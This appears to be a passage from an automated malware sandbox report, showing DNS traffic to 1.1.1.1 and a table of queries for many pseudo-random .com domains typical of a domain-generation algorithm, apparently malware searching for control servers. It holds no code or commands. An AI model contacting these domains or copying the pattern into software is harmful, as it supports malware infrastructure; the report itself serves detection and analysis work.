                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.626595974 CET5396953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.626775026 CET5001353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.627155066 CET6432653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.627250910 CET53603831.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.627307892 CET5303053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.627933979 CET4965253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.628377914 CET5526253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.628570080 CET5172653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.628791094 CET5584453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.629018068 CET6056153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.630229950 CET53502541.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.631119013 CET53588101.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.631551027 CET53582031.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.633229017 CET53500841.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.634422064 CET53603331.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.635128975 CET53631991.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.635516882 CET53646531.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.636123896 CET53604231.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.636255980 CET53539691.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.636282921 CET53550081.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.637710094 CET53500131.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.637722015 CET53643261.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.638113976 CET53517261.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.638124943 CET53530301.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.644745111 CET53593831.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.652647018 CET53631951.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.652668953 CET53590461.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.653260946 CET6153153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.656307936 CET53584481.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.659017086 CET53496521.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.659035921 CET53552621.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.659280062 CET53558441.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.660656929 CET53605611.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.662213087 CET5406353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.662410021 CET5425153192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.662538052 CET6034053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.662566900 CET5158953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.662722111 CET6124753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.664469957 CET5687753192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.666105032 CET5502053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.666312933 CET6282353192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.666629076 CET6258653192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.666893005 CET5883053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.673104048 CET53540631.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.673120975 CET53509711.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.673135042 CET53515891.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.673399925 CET53612471.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.676295996 CET53550201.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.676314116 CET53628231.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.676788092 CET53625861.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.680335999 CET53542511.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.686284065 CET53615311.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.694735050 CET53603401.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.696186066 CET53568771.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.699064016 CET53588301.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.518954992 CET6092253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.519527912 CET6491053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.523653984 CET5701853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.524151087 CET5251853192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.528599977 CET53609221.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.534986019 CET4929053192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.535623074 CET53525181.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.541269064 CET5907253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.546158075 CET53492901.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.549218893 CET5732253192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.549623013 CET5647953192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.550559044 CET53590721.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.551067114 CET53649101.1.1.1192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.553219080 CET4975453192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.553419113 CET6055553192.168.2.41.1.1.1
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.554016113 CET5210853192.168.2.41.1.1.1

                                                                                                                                                                                                                    DNS Queries

                                                                                                                                                                                                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.385242939 CET192.168.2.41.1.1.10x2e26Standard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.385603905 CET192.168.2.41.1.1.10xbc87Standard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.385731936 CET192.168.2.41.1.1.10x1515Standard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.402939081 CET192.168.2.41.1.1.10xdf46Standard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.419455051 CET192.168.2.41.1.1.10xc0d9Standard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.419660091 CET192.168.2.41.1.1.10xead4Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.421144009 CET192.168.2.41.1.1.10x4b51Standard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.422270060 CET192.168.2.41.1.1.10xc45dStandard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.447855949 CET192.168.2.41.1.1.10x7d01Standard query (0)lymyxid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.448597908 CET192.168.2.41.1.1.10xc612Standard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.479260921 CET192.168.2.41.1.1.10xe8a8Standard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.479763985 CET192.168.2.41.1.1.10x577eStandard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.510677099 CET192.168.2.41.1.1.10xf31dStandard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.511053085 CET192.168.2.41.1.1.10xfb25Standard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.542489052 CET192.168.2.41.1.1.10x870Standard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.542773008 CET192.168.2.41.1.1.10x13c0Standard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.573214054 CET192.168.2.41.1.1.10x59f4Standard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.573934078 CET192.168.2.41.1.1.10xc478Standard query (0)galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.606549978 CET192.168.2.41.1.1.10xeb8dStandard query (0)qegyhig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.935729027 CET192.168.2.41.1.1.10xe720Standard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.938148975 CET192.168.2.41.1.1.10x827cStandard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.941514969 CET192.168.2.41.1.1.10x70e1Standard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.950987101 CET192.168.2.41.1.1.10x96ddStandard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.951771021 CET192.168.2.41.1.1.10x812dStandard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.952227116 CET192.168.2.41.1.1.10x6ddcStandard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.952889919 CET192.168.2.41.1.1.10x8282Standard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.953053951 CET192.168.2.41.1.1.10x6b06Standard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.953243017 CET192.168.2.41.1.1.10x9be6Standard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.953402042 CET192.168.2.41.1.1.10x4f7fStandard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.953560114 CET192.168.2.41.1.1.10xe5aStandard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.953669071 CET192.168.2.41.1.1.10x104fStandard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.953762054 CET192.168.2.41.1.1.10x4611Standard query (0)vowycac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.954020977 CET192.168.2.41.1.1.10x2ef3Standard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.954209089 CET192.168.2.41.1.1.10x72c7Standard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.954386950 CET192.168.2.41.1.1.10xf947Standard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.962093115 CET192.168.2.41.1.1.10xfbfStandard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.962600946 CET192.168.2.41.1.1.10xb7e6Standard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.963432074 CET192.168.2.41.1.1.10xc78dStandard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.975276947 CET192.168.2.41.1.1.10xa3f9Standard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.993621111 CET192.168.2.41.1.1.10x315dStandard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.993895054 CET192.168.2.41.1.1.10x5520Standard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.994038105 CET192.168.2.41.1.1.10xe6f7Standard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.994245052 CET192.168.2.41.1.1.10x3aeeStandard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.996275902 CET192.168.2.41.1.1.10x96edStandard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.996438980 CET192.168.2.41.1.1.10x417bStandard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.996582985 CET192.168.2.41.1.1.10x9cd8Standard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.996747017 CET192.168.2.41.1.1.10x5678Standard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.012296915 CET192.168.2.41.1.1.10xc58Standard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.012486935 CET192.168.2.41.1.1.10x2404Standard query (0)lyvyxor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.013019085 CET192.168.2.41.1.1.10x3633Standard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.013684034 CET192.168.2.41.1.1.10x7401Standard query (0)vocyzit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.013803005 CET192.168.2.41.1.1.10xe740Standard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.013915062 CET192.168.2.41.1.1.10xa867Standard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.014007092 CET192.168.2.41.1.1.10xf49Standard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.016453981 CET192.168.2.41.1.1.10xe849Standard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.016645908 CET192.168.2.41.1.1.10x28d3Standard query (0)qetyfuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.035564899 CET192.168.2.41.1.1.10x8410Standard query (0)vojyqem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.038055897 CET192.168.2.41.1.1.10x64b1Standard query (0)vonypom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.041068077 CET192.168.2.41.1.1.10xe722Standard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.041235924 CET192.168.2.41.1.1.10xba09Standard query (0)gatyfus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.041770935 CET192.168.2.41.1.1.10xf7d6Standard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.042191982 CET192.168.2.41.1.1.10x248bStandard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.073277950 CET192.168.2.41.1.1.10x63f4Standard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.094228983 CET192.168.2.41.1.1.10x919cStandard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.570976019 CET192.168.2.41.1.1.10xc478Standard query (0)galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.010159016 CET192.168.2.41.1.1.10x5678Standard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:21.571306944 CET192.168.2.41.1.1.10xc478Standard query (0)galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:24.784463882 CET192.168.2.41.1.1.10xa84aStandard query (0)ww5.galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:25.774245024 CET192.168.2.41.1.1.10xa84aStandard query (0)ww5.galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:26.789865971 CET192.168.2.41.1.1.10xa84aStandard query (0)ww5.galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.697971106 CET192.168.2.41.1.1.10x949fStandard query (0)lyvylyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.698018074 CET192.168.2.41.1.1.10x4f8bStandard query (0)qebylug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.699570894 CET192.168.2.41.1.1.10x3686Standard query (0)gatydaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.701193094 CET192.168.2.41.1.1.10x4fbeStandard query (0)ganyzub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.701339006 CET192.168.2.41.1.1.10x766eStandard query (0)pupydeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.703134060 CET192.168.2.41.1.1.10x9998Standard query (0)pujymip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.707336903 CET192.168.2.41.1.1.10x63f1Standard query (0)lykymox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.708125114 CET192.168.2.41.1.1.10x3845Standard query (0)vopydek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.708859921 CET192.168.2.41.1.1.10x131bStandard query (0)vojymic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.710134029 CET192.168.2.41.1.1.10x6642Standard query (0)qetysal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.710367918 CET192.168.2.41.1.1.10xa0baStandard query (0)puvylyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.716259003 CET192.168.2.41.1.1.10xa118Standard query (0)vocyqaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.716691971 CET192.168.2.41.1.1.10x3019Standard query (0)volymum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.716912031 CET192.168.2.41.1.1.10x6004Standard query (0)vofydac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.717061996 CET192.168.2.41.1.1.10x669dStandard query (0)gadydas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.718998909 CET192.168.2.41.1.1.10x9507Standard query (0)puzymig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.719655991 CET192.168.2.41.1.1.10xb93aStandard query (0)gaqyzuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.719876051 CET192.168.2.41.1.1.10xc93fStandard query (0)qeqylyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.719963074 CET192.168.2.41.1.1.10xf3b0Standard query (0)lymylyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.720761061 CET192.168.2.41.1.1.10x1f2cStandard query (0)pufydep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.721149921 CET192.168.2.41.1.1.10xf51cStandard query (0)lyxymin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.731210947 CET192.168.2.41.1.1.10x81afStandard query (0)vowyzuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.731435061 CET192.168.2.41.1.1.10x94b2Standard query (0)lygyfex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.731971025 CET192.168.2.41.1.1.10xfe3fStandard query (0)puryxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.732013941 CET192.168.2.41.1.1.10x794Standard query (0)qegyfyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.732135057 CET192.168.2.41.1.1.10x457eStandard query (0)qetyxiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.735423088 CET192.168.2.41.1.1.10x41edStandard query (0)gahyfyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.736984968 CET192.168.2.41.1.1.10xd0b8Standard query (0)gatycoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.737457991 CET192.168.2.41.1.1.10xffbeStandard query (0)lyvywed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.737706900 CET192.168.2.41.1.1.10x5ed2Standard query (0)puvywav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.738337040 CET192.168.2.41.1.1.10xeefdStandard query (0)gacyqob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.756068945 CET192.168.2.41.1.1.10x1598Standard query (0)qexyqog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.756305933 CET192.168.2.41.1.1.10xcd4eStandard query (0)lyryxij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.761322021 CET192.168.2.41.1.1.10x6a77Standard query (0)qekyhil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.761946917 CET192.168.2.41.1.1.10xc8eaStandard query (0)vonyryc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.762132883 CET192.168.2.41.1.1.10x6afaStandard query (0)vojygut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.762271881 CET192.168.2.41.1.1.10x3b95Standard query (0)pupycag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.793859959 CET192.168.2.41.1.1.10x5129Standard query (0)lysyvan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.797183037 CET192.168.2.41.1.1.10xc73eStandard query (0)qebyrev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.806906939 CET192.168.2.41.1.1.10xbd2aStandard query (0)pujygul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.807240963 CET192.168.2.41.1.1.10x990eStandard query (0)galyhiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.820055008 CET192.168.2.41.1.1.10x6ba5Standard query (0)vopycom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.820162058 CET192.168.2.41.1.1.10xc4ffStandard query (0)gacykeh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.820480108 CET192.168.2.41.1.1.10x7f60Standard query (0)gadyveb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.820730925 CET192.168.2.41.1.1.10x1a5Standard query (0)lymytux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.821187973 CET192.168.2.41.1.1.10xd8c0Standard query (0)vowypit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.821487904 CET192.168.2.41.1.1.10xcce6Standard query (0)purypol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.822032928 CET192.168.2.41.1.1.10xff48Standard query (0)volyjok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.822249889 CET192.168.2.41.1.1.10x7a57Standard query (0)gaqypiz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.822993994 CET192.168.2.41.1.1.10xb9b8Standard query (0)lyrysor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.826592922 CET192.168.2.41.1.1.10xe562Standard query (0)lykygur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.826857090 CET192.168.2.41.1.1.10x2d17Standard query (0)gahynus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.826993942 CET192.168.2.41.1.1.10xfbe9Standard query (0)vofybyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.828088045 CET192.168.2.41.1.1.10x229aStandard query (0)qedyveg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.828558922 CET192.168.2.41.1.1.10xe614Standard query (0)pufybyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.828892946 CET192.168.2.41.1.1.10x7e74Standard query (0)qeqytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.829193115 CET192.168.2.41.1.1.10x4e44Standard query (0)lyxyjaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.831334114 CET192.168.2.41.1.1.10x8029Standard query (0)qexykaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.841114998 CET192.168.2.41.1.1.10x1853Standard query (0)ganyrys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.843453884 CET192.168.2.41.1.1.10x2437Standard query (0)vocykem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.843614101 CET192.168.2.41.1.1.10xe24bStandard query (0)lygynud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.843784094 CET192.168.2.41.1.1.10xd99Standard query (0)qegynuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.845566034 CET192.168.2.41.1.1.10xf76aStandard query (0)pumytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:28.847436905 CET192.168.2.41.1.1.10x9d5bStandard query (0)puzyjoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:34.168488979 CET192.168.2.41.1.1.10x5f0cStandard query (0)gaqykab.comA (IP address)IN (0x0001)false
